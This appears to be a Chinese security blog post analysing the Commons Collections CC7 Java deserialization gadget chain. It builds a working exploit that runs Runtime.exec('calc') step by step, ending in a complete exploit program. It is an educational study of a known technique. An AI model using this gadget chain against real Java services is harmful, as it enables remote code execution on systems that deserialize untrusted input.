前言 对比前几条链子,CC7链子的构造会稍显复杂,审计起来感觉跟CC6有点像,CC7的入口点是Hashtable,其核心在于利用Hashtable反序列化时的哈希碰撞来触发利用链,今天我们来详细分析一下
过程分析 后半部分 对于该链子的后半部分,我们用的还是LazyMap,具体可以参考之前的文章Java反序列化 CC1链分析 (LazyMap)
跟之前不一样的是,LazyMap这一部分代码需要进行修改,怎么修改我们后面分析的时候说,这里先把之前CC链用的代码放出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class Main { public static void main (String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer []{ new ConstantTransformer (cs), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object, Object> map = new HashMap <>(); Map decorate = LazyMap.decorate(map, chainedTransformer); } }
前半部分 初步探索 CC7的入口是Hashtable的readObject方法,我们跟进去看看
这段代码的主要作用是在对象被反序列化时,根据流里的数据合理初始化哈希表结构和数据,使其内容与序列化前一致,reconstitutionPut(table, key, value)则是把反序列化出来的键值对放入新哈希表数组中,实现恢复,我们跟进看看
该方法首先对value的值进行检查,如果为null则抛出异常,然后计算key的哈希值hash,并根据该哈希值计算索引index,定位到数组中对应的桶位置,接着遍历该位置上已有的链表,检查是否存在hash相同的key,如果存在则抛出异常,否则将创建一个新的Entry节点,并将其插入到对应桶的链表头部
其核心在于for循环这部分,if判断里存在短路与运算(&&),只有前面的满足了才可以进入后面的部分,同时我们上面提到,检查是否存在hash相同的key,也就意味着至少要向Hashtable里存入两个元素,且哈希值要相等,否则无法进入e.key.equals(key)这一部分
1 2 3 4 5 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } }
根据ysoserial的CC7代码,我们往key里面存入LazyMap的实例化对象,就会调用到LazyMap的equals方法,但是LazyMap并没有这个方法,所以会往它继承的父类那里去找,也就是AbstractMapDecorator里的equals方法
我们跟进看看,if语句判断传入的object是否与当前实例是同一个对象,即是否满足引用相等,如果是同一实例则返回true,不同则return map.equals(object),所以我们要传入两个不同的对象才能调用equals方法
其中map对应的是LazyMap实例传入的第一个参数,根据ysoserial,也就是传入的HashMap实例,调用该实例的equals方法,但是HashMap也没有equals方法,同样的,也是去它继承的父类去找,即AbstractMap的equals方法
跟进AbstractMap的equals方法,可以看到里面调用了get方法,这一部分代码主要是判断两个Map是否相等时,先做一些基本类型和大小的判断,再逐个比对键值对内容;如果发现同一键对应的值不相等,则进入value.equals分支,只要我们传入o为LazyMap的实例,然后经过强制类型转换就进入了m,调用m的get方法也就是调用LazyMap实例的get方法,完成闭环
我们可以初步构造代码如下,lazyMap1和lazyMap2的key我们分别传入yy和zZ,值就传个相同的数字,因为这样子两个lazyMap的hash值是相同的,均为3872
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class Main { public static void main (String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer []{ new ConstantTransformer (cs), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap1 = new HashMap <>(); Map innerMap2 = new HashMap <>(); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashTable = new Hashtable (); hashTable.put(lazyMap1, 1 ); hashTable.put(lazyMap2, 2 ); serialize(hashTable); unserialize("cc7.ser" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc7.ser" )); oos.writeObject(obj); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
但是运行的时候我们发现,还没开始进行序列化和反序列化就已经弹出计算器了,这并不是我们想要的
那么我们如何解决呢
逐步完善 这跟我们前面讲到的CC6情况一样,属于本地误触情况,具体可以参考Java反序列化 CC6链分析 的HashMap部分,如果提前在本地触发了利用链,那么反序列化的时候就不会弹出计算器了,解决方法也很简单,给LazyMap传入无害的Transformer,这里我们传入一个安全的ChainedTransformer,后面再通过反射修改其iTransformers的值为transformers即可
修改如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class Main { public static void main (String[] args) throws Exception { Class cs = Runtime.class; Transformer transformerChain = new ChainedTransformer (new Transformer []{}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (cs), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Map innerMap1 = new HashMap <>(); Map innerMap2 = new HashMap <>(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashTable = new Hashtable (); hashTable.put(lazyMap1, 1 ); hashTable.put(lazyMap2, 2 ); Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers" ); itransformer.setAccessible(true ); itransformer.set(transformerChain, transformers); serialize(hashTable); unserialize("cc7.ser" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc7.ser" )); oos.writeObject(obj); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
但是运行之后还是没有弹出计算器,说明还存在问题,跟进调试后发现lazyMap2集合多了一个键值对yy
在经过AbstractMap的equals方法时,由于元素个数不同导致返回false,也就无法继续后续链子的执行
为什么会这样呢,其实这里的情况也跟CC6类似,在我们执行hashTable.put(lazyMap2, 2)时,里面调用了lazyMap2的equals方法,然后进一步调用了AbstractMapDecorator的equals和AbstractMap的equals,最后调用了LazyMap的get方法
在经过LazyMap的get方法时,由于对应键值对不存在,就会触发map.put(key, value)新添加一个,导致多了一个yy键值对
解决方法也很简单,直接删去这个多余的键值对即可
最终利用 综上,我们得到完整exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class Main { public static void main (String[] args) throws Exception { Class cs = Runtime.class; Transformer transformerChain = new ChainedTransformer (new Transformer []{}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (cs), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Map innerMap1 = new HashMap <>(); Map innerMap2 = new HashMap <>(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashTable = new Hashtable (); hashTable.put(lazyMap1, 1 ); hashTable.put(lazyMap2, 2 ); lazyMap2.remove("yy" ); Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers" ); itransformer.setAccessible(true ); itransformer.set(transformerChain, transformers); serialize(hashTable); unserialize("cc7.ser" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc7.ser" )); oos.writeObject(obj); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
成功弹出计算器
为了更直观的理解,这里放个流程图
总结 至此,CC1到CC7的审计也就结束了,花了有一些时间,不过一通审计下来收获挺大的,阅读代码的能力得到了提升,以后还要继续多审一些代码,争取进一步的突破,路漫漫其修远兮,吾将上下而求索